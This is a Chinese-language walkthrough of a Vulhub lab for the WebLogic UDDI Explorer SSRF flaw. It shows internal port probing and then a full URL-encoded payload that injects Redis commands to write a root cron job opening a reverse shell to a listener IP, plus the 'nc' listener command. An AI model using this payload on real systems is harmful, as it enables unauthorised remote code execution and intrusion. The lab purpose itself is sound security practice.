SSRF简介
SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等。
漏洞环境搭建
使用Vulhub搭建
git clone https://github.com/vulhub/vulhub.git #vulhuba靶场下载
1.cd vulhub/weblogic/ssrf #进入ssrf文件夹
2.docker-compose up -d #启动编译靶场
启动靶场
访问docker IP:7001console/login/LoginForm.jsp
出现此界面,环境搭建成功
SSRF漏洞位于http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp
点击search,用bp抓包
"operator"参数后面是URL,可探测内网信息。
修改URL,探测7001端口,返回404提示,证明内网开放7001端口。
探测不存在的端口,返回“but could not connect over”无法连接
查看redis服务IP
docker exec -it e84d45b3ec84 /bin/bash
查看redis服务
"Received a response"表示存在redis服务
利用Redis反弹shell
发送三条redis命令,将反弹shell脚本写入/etc/crontab
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/虚拟机的ip/2022 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
saveqwezxc
URL编码:
test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.115.130%2F2022%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
这里使用火狐插件HackBar
http://172.17.0.1:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.115.130%2F2022%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
打开kali监听
nc -lvvp 2022
稍等一会,反弹shell
以上
如有问题,欢迎留言。